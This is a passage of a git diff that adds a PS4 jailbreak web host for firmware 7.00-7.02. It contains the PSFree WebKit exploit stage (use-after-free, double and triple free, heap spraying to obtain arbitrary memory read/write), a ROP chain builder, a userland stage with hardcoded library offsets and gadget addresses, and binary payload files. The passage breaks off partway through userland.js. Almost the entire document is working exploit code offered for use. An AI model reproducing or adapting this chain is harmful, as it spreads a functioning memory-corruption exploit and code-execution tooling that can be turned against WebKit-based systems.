+ // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03.
+ const CurrentVersion = 6;
+ const ArrayBufferTransferTag = 23;
+ write32(data, 0, CurrentVersion);
+ data[4] = ArrayBufferTransferTag;
+ write32(data, 5, 0);
+
+ // WTF::Vector
+ const abc_vector = new Uint8Array(size_vector);
+ // JSC::ArrayBufferContents
+ const abc = new Uint8Array(size_abc);
+
+ write64(abc_vector, 0, r.get_view_vector(abc));
+ write32(abc_vector, 8, 1);
+ write32(abc_vector, 0xc, 1);
+
+ // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
+ // unlike FastTypedArray, where the buffer is managed by the GC. This
+ // prevents random crashes.
+ //
+ // See JSGenericTypedArrayView::visitChildren() from
+ // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
+ // PS4 8.03.
+ const worker = new Uint8Array(new ArrayBuffer(1));
+
+ if (target !== ps4_9_00) {
+ // m_destructor
+ write64(abc, 0, Int.Zero);
+ // m_shared
+ write64(abc, 8, Int.Zero);
+ // m_data
+ write64(abc, 0x10, r.addrof(worker));
+ // m_sizeInBytes
+ write32(abc, 0x18, size_view);
+ } else {
+ // m_data
+ // m_data
+ write64(abc, 0, r.addrof(worker));
+ // m_destructor
+ write64(abc, 8, Int.Zero);
+ // m_shared
+ write64(abc, 0xe, Int.Zero);
+ // m_sizeInBytes
+ write32(abc, 0x14, size_view);
+ }
+
+ return {
+ m_data,
+ m_arrayBufferContentsArray : r.get_view_vector(abc_vector),
+ worker,
+ // keep a reference to prevent garbage collection
+ nogc : [
+ data,
+ abc_vector,
+ abc,
+ ],
+ };
+}
+
+// get arbitrary read/write
+async function setup_arw(save, ssv_data) {
+ const num_msg = 1000;
+ const view = save.ab;
+ let msgs = [];
+
+ function onmessage(event) {
+ msgs.push(event);
+ }
+ addEventListener('message', onmessage);
+
+ // Free the StringImpl so we can spray SerializedScriptValues over the
+ // buffer of the view. The StringImpl is safe to free since we fixed it up
+ // earlier.
+ rstr = null;
+ while (true) {
+ for (let i = 0; i < num_msg; i++) {
+ postMessage('', origin);
+ }
+
+ while (msgs.length !== num_msg) {
+ await sleep(100);
+ }
+
+ if (view[strimpl_inline_str] !== 0x42) {
+ break;
+ }
+
+ msgs = [];
+ }
+ removeEventListener('message', onmessage);
+
+ debug_log('view contents:');
+ for (let i = 0; i < ssv_len; i += 8) {
+ debug_log(read64(view, i));
+ }
+
+ // save SerializedScriptValue
+ const copy = [];
+ for (let i = 0; i < view.length; i++) {
+ copy.push(view[i]);
+ }
+
+ const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data;
+ write64(view, 8, read64(m_data, 0));
+ write64(view, 0x10, read64(m_data, 8));
+ write64(view, 0x18, m_arrayBufferContentsArray);
+
+ for (const msg of msgs) {
+ if (msg.data !== '') {
+ //alert('achieved arbitrary r/w');
+ debug_log('achieved arbitrary r/w');
+
+ const u = new Uint8Array(msg.data);
+ debug_log('deserialized ArrayBuffer:');
+ for (let i = 0; i < size_view; i += 8) {
+ debug_log(read64(u, i));
+ }
+
+ const mem = new Memory(u, worker);
+
+ var prim = {
+ read1(addr) {
+ addr = new Int(addr.low, addr.hi);
+ const res = mem.read8(addr);
+ return res;
+ },
+
+ read2(addr) {
+ addr = new Int(addr.low, addr.hi);
+ const res = mem.read16(addr);
+ return res;
+ },
+
+ read4(addr) {
+ addr = new Int(addr.low, addr.hi);
+ const res = mem.read32(addr);
+ return res;
+ },
+
+ read8(addr) {
+ addr = new Int(addr.low, addr.hi);
+ const res = mem.read64(addr);
+ return new int64(res.low(), res.high());
+ },
+
+ write1(addr, value) {
+ addr = new Int(addr.low, addr.hi);
+ mem.write8(addr, value);
+ },
+
+ write2(addr, value) {
+ addr = new Int(addr.low, addr.hi);
+ mem.write16(addr, value);
+ },
+
+ write4(addr, value) {
+ addr = new Int(addr.low, addr.hi);
+ mem.write32(addr, value);
+ },
+
+ write8(addr, value) {
+ addr = new Int(addr.low, addr.hi);
+ if (value instanceof int64) {
+ value = new Int(value.low, value.hi);
+ mem.write64(addr, value);
+ } else {
+ mem.write64(addr, new Int(value));
+ }
+
+ },
+
+ leakval(obj) {
+ const res = mem.addrof(obj);
+ return new int64(res.low(), res.high());
+ }
+ };
+ window.prim = prim;
+
+ // restore SerializedScriptValue
+ view.set(copy);
+
+ // cleanup
+ view_leak_arr = null;
+ view_leak = null;
+ jsview = null;
+ input = null;
+ foo = null;
+
+ // Before s1.ab gets garbage collected and its underlying buffer
+ // on the fastMalloc heap is freed, another object could be
+ // allocated in the meantime. That object could be freed
+ // prematurely once the GC occurs. This could corrupt the object
+ // if another object is allocated in the same memory area.
+ //
+ // So we will keep s1 alive.
+
+ return;
+ }
+ }
+ die('no arbitrary r/w');
+}
+
+// Don't create additional references to rstr, use the global variable. This
+// is to make dropping all its references easy (change the value of the global
+// variable).
+async function triple_free(
+ save,
+ // contents of the leaked JSArrayBufferView
+ jsview,
+ view_leak_arr,
+ leaked_view_addr,
+) {
+ const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr);
+ let r = new Reader(rstr, save.ab, leaker, leaked_view_addr);
+ const ssv_data = setup_ssv_data(r);
+
+ // r contains a reference to rstr, drop it for setup_arw2()
+ r = null;
+ await setup_arw(save, ssv_data);
+}
+
+function pop(event, save) {
+ let spray_res = check_spray(save.views);
+ if (spray_res === null) {
+ die('failed spray');
+ } else {
+ save.pop = event;
+ save.ab = save.views[spray_res];
+ debug_log('ssv len: ' + ssv_len);
+ debug_log('view index: ' + spray_res);
+ debug_log(save.ab);
+ }
+}
+
+// For some reason the input element is being blurred by something else (we
+// don't know what) if we execute use_after_free() before the DOMContentLoaded
+// event fires. The input must only be blurred by history.back(), which will
+// change the focus from the input to the foo element.
+async function get_ready() {
+ debug_log('readyState: ' + document.readyState);
+ await new Promise((resolve, reject) => {
+ if (document.readyState === 'interactive' || document.readyState === 'complete') {
+ resolve();
+ }
+ document.addEventListener('DOMContentLoaded', resolve, { once: true });
+ });
+}
+
+async function run() {
+ debug_log('stage: readying');
+ await get_ready();
+
+ debug_log('stage: UaF 1');
+ await use_after_free(pop, s1);
+ // we trigger the leak first because it is more likely to work
+ // than if it were to happen during the second ssv smashing
+ // on the ps4
+ debug_log('stage: double free');
+ // * keeps setup_ar()'s total sleep even lower
+ // * also helps the garbage collector scheduling for 9.xx
+ await sleep(0);
+ await double_free(s1);
+
+ debug_log('stage: triple free');
+ await triple_free(s1, jsview, view_leak_arr, view_leak);
+ //clear_log();
+ debug_log('WebKit Done, Jailbreaking...');
+ setTimeout(stage2, 1000);
+}
+setTimeout(run, 500);
\ No newline at end of file
diff --git a/702L/ftp.bin b/702L/ftp.bin
new file mode 100644
index 00000000..a44d4410
Binary files /dev/null and b/702L/ftp.bin differ
diff --git a/702L/goldhen_2.2.2_702.bin b/702L/goldhen_2.2.2_702.bin
new file mode 100644
index 00000000..d917a042
Binary files /dev/null and b/702L/goldhen_2.2.2_702.bin differ
diff --git a/702L/goldhen_2.3_702.bin b/702L/goldhen_2.3_702.bin
new file mode 100644
index 00000000..760e1b8f
Binary files /dev/null and b/702L/goldhen_2.3_702.bin differ
diff --git a/702L/index.html b/702L/index.html
new file mode 100644
index 00000000..a743ddf0
--- /dev/null
+++ b/702L/index.html
@@ -0,0 +1,429 @@
+
+
+Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw
+
+
+
+
+
+
+
+
+
+
+Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw
+Jailbreaking... Wait
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/702L/int64.js b/702L/int64.js
new file mode 100644
index 00000000..798cae36
--- /dev/null
+++ b/702L/int64.js
@@ -0,0 +1,328 @@
+// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js
+//
+// Copyright (c) 2016 Samuel Groß
+function int64(low, hi) {
+ this.low = (low >>> 0);
+ this.hi = (hi >>> 0);
+
+ this.add32inplace = function (val) {
+ var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
+ var new_hi = (this.hi >>> 0);
+
+ if (new_lo < this.low) {
+ new_hi++;
+ }
+
+ this.hi = new_hi;
+ this.low = new_lo;
+ }
+
+ this.add32 = function (val) {
+ var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
+ var new_hi = (this.hi >>> 0);
+
+ if (new_lo < this.low) {
+ new_hi++;
+ }
+
+ return new int64(new_lo, new_hi);
+ }
+
+ this.sub32 = function (val) {
+ var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
+ var new_hi = (this.hi >>> 0);
+
+ if (new_lo > (this.low) & 0xFFFFFFFF) {
+ new_hi--;
+ }
+
+ return new int64(new_lo, new_hi);
+ }
+
+ this.add64 = function(val) {
+ var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0;
+ var new_hi = (this.hi >>> 0);
+
+ if (new_lo > (this.low) & 0xFFFFFFFF) {
+ new_hi++;
+ }
+ new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0;
+ return new int64(new_lo, new_hi);
+ }
+ this.sub64 = function(val) {
+ var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0;
+ var new_hi = (this.hi >>> 0);
+
+ if (new_lo > (this.low) & 0xFFFFFFFF) {
+ new_hi--;
+ }
+ new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0;
+ return new int64(new_lo, new_hi);
+ }
+
+ this.sub32inplace = function (val) {
+ var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
+ var new_hi = (this.hi >>> 0);
+
+ if (new_lo > (this.low) & 0xFFFFFFFF) {
+ new_hi--;
+ }
+
+ this.hi = new_hi;
+ this.low = new_lo;
+ }
+
+ this.and32 = function (val) {
+ var new_lo = this.low & val;
+ var new_hi = this.hi;
+ return new int64(new_lo, new_hi);
+ }
+
+ this.and64 = function (vallo, valhi) {
+ var new_lo = this.low & vallo;
+ var new_hi = this.hi & valhi;
+ return new int64(new_lo, new_hi);
+ }
+
+ this.toString = function (val) {
+ val = 16;
+ var lo_str = (this.low >>> 0).toString(val);
+ var hi_str = (this.hi >>> 0).toString(val);
+
+ if (this.hi == 0)
+ return lo_str;
+ else
+ lo_str = zeroFill(lo_str, 8)
+
+ return hi_str + lo_str;
+ }
+
+ this.toPacked = function () {
+ return {
+ hi: this.hi,
+ low: this.low
+ };
+ }
+
+ this.setPacked = function (pck) {
+ this.hi = pck.hi;
+ this.low = pck.low;
+ return this;
+ }
+
+ return this;
+}
+
+function zeroFill(number, width) {
+ width -= number.toString().length;
+
+ if (width > 0) {
+ return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
+ }
+
+ return number + ""; // always return a string
+}
+function Int64(low, high) {
+ var bytes = new Uint8Array(8);
+
+ if (arguments.length > 2 || arguments.length == 0)
+ throw TypeError("Incorrect number of arguments to constructor");
+ if (arguments.length == 2) {
+ if (typeof low != 'number' || typeof high != 'number') {
+ throw TypeError("Both arguments must be numbers");
+ }
+ if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) {
+ throw RangeError("Both arguments must fit inside a uint32");
+ }
+ low = low.toString(16);
+ for (let i = 0; i < 8 - low.length; i++) {
+ low = "0" + low;
+ }
+ low = "0x" + high.toString(16) + low;
+ }
+
+ switch (typeof low) {
+ case 'number':
+ low = '0x' + Math.floor(low).toString(16);
+ case 'string':
+ if (low.substr(0, 2) === "0x")
+ low = low.substr(2);
+ if (low.length % 2 == 1)
+ low = '0' + low;
+ var bigEndian = unhexlify(low, 8);
+ var arr = [];
+ for (var i = 0; i < bigEndian.length; i++) {
+ arr[i] = bigEndian[i];
+ }
+ bytes.set(arr.reverse());
+ break;
+ case 'object':
+ if (low instanceof Int64) {
+ bytes.set(low.bytes());
+ } else {
+ if (low.length != 8)
+ throw TypeError("Array must have excactly 8 elements.");
+ bytes.set(low);
+ }
+ break;
+ case 'undefined':
+ break;
+ }
+
+ // Return a double whith the same underlying bit representation.
+ this.asDouble = function () {
+ // Check for NaN
+ if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+ throw new RangeError("Can not be represented by a double");
+
+ return Struct.unpack(Struct.float64, bytes);
+ };
+
+ this.asInteger = function () {
+ if (bytes[7] != 0 || bytes[6] > 0x20) {
+ debug_log("SOMETHING BAD HAS HAPPENED!!!");
+ throw new RangeError(
+ "Can not be represented as a regular number");
+ }
+ return Struct.unpack(Struct.int64, bytes);
+ };
+
+ // Return a javascript value with the same underlying bit representation.
+ // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+ // due to double conversion constraints.
+ this.asJSValue = function () {
+ if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[
+ 6] == 0xff))
+ throw new RangeError(
+ "Can not be represented by a JSValue");
+
+ // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+ return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes());
+ };
+
+ // Return the underlying bytes of this number as array.
+ this.bytes = function () {
+ var arr = [];
+ for (var i = 0; i < bytes.length; i++) {
+ arr.push(bytes[i])
+ }
+ return arr;
+ };
+
+ // Return the byte at the given index.
+ this.byteAt = function (i) {
+ return bytes[i];
+ };
+
+ // Return the value of this number as unsigned hex string.
+ this.toString = function () {
+ var arr = [];
+ for (var i = 0; i < bytes.length; i++) {
+ arr.push(bytes[i])
+ }
+ return '0x' + hexlify(arr.reverse());
+ };
+
+ this.low32 = function () {
+ return new Uint32Array(bytes.buffer)[0] >>> 0;
+ };
+
+ this.hi32 = function () {
+ return new Uint32Array(bytes.buffer)[1] >>> 0;
+ };
+
+ this.equals = function (other) {
+ if (!(other instanceof Int64)) {
+ other = new Int64(other);
+ }
+ for (var i = 0; i < 8; i++) {
+ if (bytes[i] != other.byteAt(i))
+ return false;
+ }
+ return true;
+ };
+
+ this.greater = function (other) {
+ if (!(other instanceof Int64)) {
+ other = new Int64(other);
+ }
+ if (this.hi32() > other.hi32())
+ return true;
+ else if (this.hi32() === other.hi32()) {
+ if (this.low32() > other.low32())
+ return true;
+ }
+ return false;
+ };
+ // Basic arithmetic.
+ // These functions assign the result of the computation to their 'this' object.
+
+ // Decorator for Int64 instance operations. Takes care
+ // of converting arguments to Int64 instances if required.
+ function operation(f, nargs) {
+ return function () {
+ if (arguments.length != nargs)
+ throw Error("Not enough arguments for function " + f.name);
+ var new_args = [];
+ for (var i = 0; i < arguments.length; i++) {
+ if (!(arguments[i] instanceof Int64)) {
+ new_args[i] = new Int64(arguments[i]);
+ } else {
+ new_args[i] = arguments[i];
+ }
+ }
+ return f.apply(this, new_args);
+ };
+ }
+
+ this.neg = operation(function neg() {
+ var ret = [];
+ for (var i = 0; i < 8; i++)
+ ret[i] = ~this.byteAt(i);
+ return new Int64(ret).add(Int64.One);
+ }, 0);
+
+ this.add = operation(function add(a) {
+ var ret = [];
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = this.byteAt(i) + a.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ ret[i] = cur;
+ }
+ return new Int64(ret);
+ }, 1);
+
+ this.assignAdd = operation(function assignAdd(a) {
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = this.byteAt(i) + a.byteAt(i) + carry;
+ carry = cur > 0xff | 0;
+ bytes[i] = cur;
+ }
+ return this;
+ }, 1);
+
+
+ this.sub = operation(function sub(a) {
+ var ret = [];
+ var carry = 0;
+ for (var i = 0; i < 8; i++) {
+ var cur = this.byteAt(i) - a.byteAt(i) - carry;
+ carry = cur < 0 | 0;
+ ret[i] = cur;
+ }
+ return new Int64(ret);
+ }, 1);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function (d) {
+ var bytes = Struct.pack(Struct.float64, d);
+ return new Int64(bytes);
+};
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff);
\ No newline at end of file
diff --git a/702L/ps4debug.bin b/702L/ps4debug.bin
new file mode 100644
index 00000000..10125fb0
Binary files /dev/null and b/702L/ps4debug.bin differ
diff --git a/702L/rop.js b/702L/rop.js
new file mode 100644
index 00000000..78710542
--- /dev/null
+++ b/702L/rop.js
@@ -0,0 +1,322 @@
+const stack_sz = 0x40000;
+const reserve_upper_stack = 0x8000;
+const stack_reserved_idx = reserve_upper_stack / 4;
+
+
+// Class for quickly creating and managing a ROP chain
+window.rop = function () {
+ this.stackback = p.malloc32(stack_sz / 4 + 0x8);
+ this.stack = this.stackback.add32(reserve_upper_stack);
+ this.stack_array = this.stackback.backing;
+ this.retval = this.stackback.add32(stack_sz);
+ this.count = 1;
+ this.branches_count = 0;
+ this.branches_rsps = p.malloc(0x200);
+
+ this.clear = function () {
+ this.count = 1;
+ this.branches_count = 0;
+
+ for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) {
+ this.stack_array[i + stack_reserved_idx] = 0;
+ }
+ };
+
+ this.pushSymbolic = function () {
+ this.count++;
+ return this.count - 1;
+ }
+
+ this.finalizeSymbolic = function (idx, val) {
+ if (val instanceof int64) {
+ this.stack_array[stack_reserved_idx + idx * 2] = val.low;
+ this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi;
+ } else {
+ this.stack_array[stack_reserved_idx + idx * 2] = val;
+ this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0;
+ }
+ }
+
+ this.push = function (val) {
+ this.finalizeSymbolic(this.pushSymbolic(), val);
+ }
+
+ this.push_write8 = function (where, what) {
+ this.push(gadgets["pop rdi"]);
+ this.push(where);
+ this.push(gadgets["pop rsi"]);
+ this.push(what);
+ this.push(gadgets["mov [rdi], rsi"]);
+ }
+
+ this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
+ if (rdi != undefined) {
+ this.push(gadgets["pop rdi"]);
+ this.push(rdi);
+ }
+
+ if (rsi != undefined) {
+ this.push(gadgets["pop rsi"]);
+ this.push(rsi);
+ }
+
+ if (rdx != undefined) {
+ this.push(gadgets["pop rdx"]);
+ this.push(rdx);
+ }
+
+ if (rcx != undefined) {
+ this.push(gadgets["pop rcx"]);
+ this.push(rcx);
+ }
+
+ if (r8 != undefined) {
+ this.push(gadgets["pop r8"]);
+ this.push(r8);
+ }
+
+ if (r9 != undefined) {
+ this.push(gadgets["pop r9"]);
+ this.push(r9);
+ }
+
+ this.push(rip);
+ return this;
+ }
+
+ this.call = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
+ this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
+ this.write_result(this.retval);
+ this.run();
+ return p.read8(this.retval);
+ }
+
+ this.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) {
+ return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
+ }
+
+ //get rsp of the next push
+ this.get_rsp = function () {
+ return this.stack.add32(this.count * 8);
+ }
+ this.write_result = function (where) {
+ this.push(gadgets["pop rdi"]);
+ this.push(where);
+ this.push(gadgets["mov [rdi], rax"]);
+ }
+ this.write_result4 = function (where) {
+ this.push(gadgets["pop rdi"]);
+ this.push(where);
+ this.push(gadgets["mov [rdi], eax"]);
+ }
+
+ //use this in loops.
+ this.syscall_safe = function (sysc, rdi, rsi, rdx, rcx, r8, r9) {
+ if (rdi != undefined) {
+ this.push(gadgets["pop rdi"]);
+ this.push(rdi);
+ }
+
+ if (rsi != undefined) {
+ this.push(gadgets["pop rsi"]);
+ this.push(rsi);
+ }
+
+ if (rdx != undefined) {
+ this.push(gadgets["pop rdx"]);
+ this.push(rdx);
+ }
+
+ if (rcx != undefined) {
+ this.push(gadgets["pop rcx"]);
+ this.push(rcx);
+ }
+
+ if (r8 != undefined) {
+ this.push(gadgets["pop r8"]);
+ this.push(r8);
+ }
+
+ if (r9 != undefined) {
+ this.push(gadgets["pop r9"]);
+ this.push(r9);
+ }
+ var sysc_restore = this.get_rsp();
+ this.push(window.syscalls[sysc]);
+ this.push_write8(sysc_restore, window.syscalls[sysc]);
+ }
+ this.jmp_rsp = function (rsp) {
+ this.push(window.gadgets["pop rsp"]);
+ this.push(rsp);
+ }
+
+ this.create_equal_branch = function (value_addr, compare_value) {
+ var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10);
+ this.branches_count++;
+
+ this.push(window.gadgets["pop rax"]);
+ this.push(0);
+ this.push(window.gadgets["pop rcx"]);
+ this.push(value_addr);
+ this.push(window.gadgets["pop rdi"]);
+ this.push(compare_value);
+ this.push(window.gadgets["cmp [rcx], edi"]);
+ this.push(window.gadgets["setne al"]);
+ this.push(window.gadgets["shl rax, 3"]);
+ this.push(window.gadgets["pop rdx"]);
+ this.push(branch_addr_spc);
+ this.push(window.gadgets["add rax, rdx"]);
+ this.push(window.gadgets["mov rax, [rax]"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
+
+ return branch_addr_spc;
+
+ }
+ this.create_greater_branch = function (value_addr, compare_value) {
+ var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10);
+ this.branches_count++;
+
+ this.push(window.gadgets["pop rax"]);
+ this.push(0);
+ this.push(window.gadgets["pop rcx"]);
+ this.push(value_addr);
+ this.push(window.gadgets["pop rdi"]);
+ this.push(compare_value);
+ this.push(window.gadgets["cmp [rcx], edi"]);
+ this.push(window.gadgets["setle al"]);
+ this.push(window.gadgets["shl rax, 3"]);
+ this.push(window.gadgets["pop rdx"]);
+ this.push(branch_addr_spc);
+ this.push(window.gadgets["add rax, rdx"]);
+ this.push(window.gadgets["mov rax, [rax]"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
+
+ return branch_addr_spc;
+ }
+ this.create_greater_or_equal_branch = function (value_addr, compare_value) {
+ var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10);
+ this.branches_count++;
+
+ this.push(window.gadgets["pop rax"]);
+ this.push(0);
+ this.push(window.gadgets["pop rcx"]);
+ this.push(value_addr);
+ this.push(window.gadgets["pop rdi"]);
+ this.push(compare_value);
+ this.push(window.gadgets["cmp [rcx], edi"]);
+ this.push(window.gadgets["setl al"]);
+ this.push(window.gadgets["shl rax, 3"]);
+ this.push(window.gadgets["pop rdx"]);
+ this.push(branch_addr_spc);
+ this.push(window.gadgets["add rax, rdx"]);
+ this.push(window.gadgets["mov rax, [rax]"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
+
+ return branch_addr_spc;
+ }
+ this.create_lesser_branch = function (value_addr, compare_value) {
+ var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10);
+ this.branches_count++;
+
+ this.push(window.gadgets["pop rax"]);
+ this.push(0);
+ this.push(window.gadgets["pop rcx"]);
+ this.push(value_addr);
+ this.push(window.gadgets["pop rdi"]);
+ this.push(compare_value);
+ this.push(window.gadgets["cmp [rcx], edi"]);
+ this.push(window.gadgets["setge al"]);
+ this.push(window.gadgets["shl rax, 3"]);
+ this.push(window.gadgets["pop rdx"]);
+ this.push(branch_addr_spc);
+ this.push(window.gadgets["add rax, rdx"]);
+ this.push(window.gadgets["mov rax, [rax]"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
+
+ return branch_addr_spc;
+ }
+ this.create_lesser_or_equal_branch = function (value_addr, compare_value) {
+ var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10);
+ this.branches_count++;
+
+ this.push(window.gadgets["pop rax"]);
+ this.push(0);
+ this.push(window.gadgets["pop rcx"]);
+ this.push(value_addr);
+ this.push(window.gadgets["pop rdi"]);
+ this.push(compare_value);
+ this.push(window.gadgets["cmp [rcx], edi"]);
+ this.push(window.gadgets["setg al"]);
+ this.push(window.gadgets["shl rax, 3"]);
+ this.push(window.gadgets["pop rdx"]);
+ this.push(branch_addr_spc);
+ this.push(window.gadgets["add rax, rdx"]);
+ this.push(window.gadgets["mov rax, [rax]"]);
+ this.push(window.gadgets["pop rdi"]);
+ var a = this.pushSymbolic();
+ this.push(window.gadgets["mov [rdi], rax"]);
+ this.push(window.gadgets["pop rsp"]);
+ var b = this.get_rsp();
+ this.push(0x41414141);
+
+ this.finalizeSymbolic(a, b);
+
+ return branch_addr_spc;
+ }
+ this.set_branch_points = function (branch_addr_sp, rsp_condition_met, rsp_condition_not_met) {
+ p.write8(branch_addr_sp.add32(0x0), rsp_condition_met);
+ p.write8(branch_addr_sp.add32(0x8), rsp_condition_not_met);
+ }
+ this.spawn_thread = function(name, chain_setup) {
+ var new_thr = new rop();
+ var context = p.malloc(0x100);
+
+ p.write8(context.add32(0x0), window.gadgets["ret"]);
+ p.write8(context.add32(0x10), new_thr.stack);
+ new_thr.push(window.gadgets["ret"]);
+ chain_setup(new_thr);
+
+ var retv = function () {
+ chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), context.add32(0x48), 0, libSceLibcInternalBase.add32(OFFSET_libcint_longjmp), context, p.stringify(name));
+ }
+ window.nogc.push(new_thr);
+ window.nogc.push(context);
+
+ return retv;
+ }
+
+ this.run = function () {
+ p.launch_chain(this);
+ this.clear();
+ }
+
+ return this;
+};
\ No newline at end of file
diff --git a/702L/userland.js b/702L/userland.js
new file mode 100644
index 00000000..da42e402
--- /dev/null
+++ b/702L/userland.js
@@ -0,0 +1,892 @@
+var p;
+var chain;
+var nogc = [];
+var webKitBase;
+var libSceLibcInternalBase;
+var libKernelBase;
+
+const OFFSET_WK_vtable_first_element = 0x009A6040;
+const OFFSET_WK_memset_import = 0x00002458;
+const OFFSET_WK___stack_chk_fail_import = 0x00002438;
+const OFFSET_WK_setjmp_gadget_one = 0x006D81F5;
+const OFFSET_WK_setjmp_gadget_two = 0x00288F83;
+const OFFSET_WK_longjmp_gadget_one = 0x006D81F5;
+const OFFSET_WK_longjmp_gadget_two = 0x00288F83;
+
+
+
+const OFFSET_libcint_memset = 0x000507D0;
+const OFFSET_libcint_setjmp = 0x000BE39C;
+const OFFSET_libcint_longjmp = 0x000BE3F6;
+
+const OFFSET_lk___stack_chk_fail = 0x00012AD0;
+const OFFSET_lk_pthread_create_name_np = 0x0001BB10;
+const OFFSET_lk_pthread_exit = 0x00019FD0;
+const OFFSET_lk_pthread_self = 0x0001D160;
+const OFFSET_lk_pthread_setschedparam = 0x0002AD70;
+
+var syscalls = {};
+var gadgets = {};
+var gadgetmap = {
+ "ret": 0x0000003C,
+ "pop rdi": 0x0000835D,
+ "pop rsi": 0x0003C987,
+ "pop rdx": 0x00052B23,
+ "pop rcx": 0x00026AFB,
+ "pop r8": 0x00097D32,
+ "pop r9": 0x005C6A81,
+ "pop rax": 0x0001FA68,
+ "pop rsp": 0x00078C62,
+
+ "mov [rdi], rax": 0x000203E9,
+ "mov [rdi], eax": 0x00020148,
+ "mov [rdi], rsi": 0x000359F0,
+ "cmp [rcx], edi": 0x0010DA31,
+
+ "setne al": 0x00009000,
+ "sete al": 0x0001E0C4,
+ "setle al": 0x000CA7F6,
+ "setl al": 0x005955AC,
+ "setge al": 0x0061B262,
+ "setg al": 0x000E4A37,
+ "shl rax, 3": 0x005E8953,
+ "add rax, rdx": 0x003D498C,
+ "mov rax, [rax]": 0x0002E852,
+ "inc dword [rax]": 0x003628DB,
+ "infpoop": 0x0001386A
+};
+
+var textArea = document.createElement("textarea");
+
+function stage2() {
+ p = window.prim;
+ p.launch_chain = launch_chain;
+ p.malloc = malloc;
+ p.malloc32 = malloc32;
+ p.stringify = stringify;
+ p.readString = readString;
+ p.array_from_address = array_from_address;
+
+ //pointer to vtable address
+ var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
+ //address of vtable
+ var textAreaVtable = p.read8(textAreaVtPtr);
+ //use address of 1st entry (in .text) to calculate webkitbase
+ webKitBase = p.read8(textAreaVtable).sub32(OFFSET_WK_vtable_first_element);
+
+ libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
+ libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
+
+ libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
+ libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
+
+ for (var gadget in gadgetmap) {
+ window.gadgets[gadget] = webKitBase.add32(gadgetmap[gadget]);
+ }
+
+ function get_jmptgt(address) {
+ var instr = p.read4(address) & 0xFFFF;
+ var offset = p.read4(address.add32(2));
+ if (instr != 0x25FF) {
+ return 0;
+ }
+ return address.add32(0x6 + offset);
+ }
+
+ function malloc(sz) {
+ var backing = new Uint8Array(0x10000 + sz);
+ window.nogc.push(backing);
+ var ptr = p.read8(p.leakval(backing).add32(0x10));
+ ptr.backing = backing;
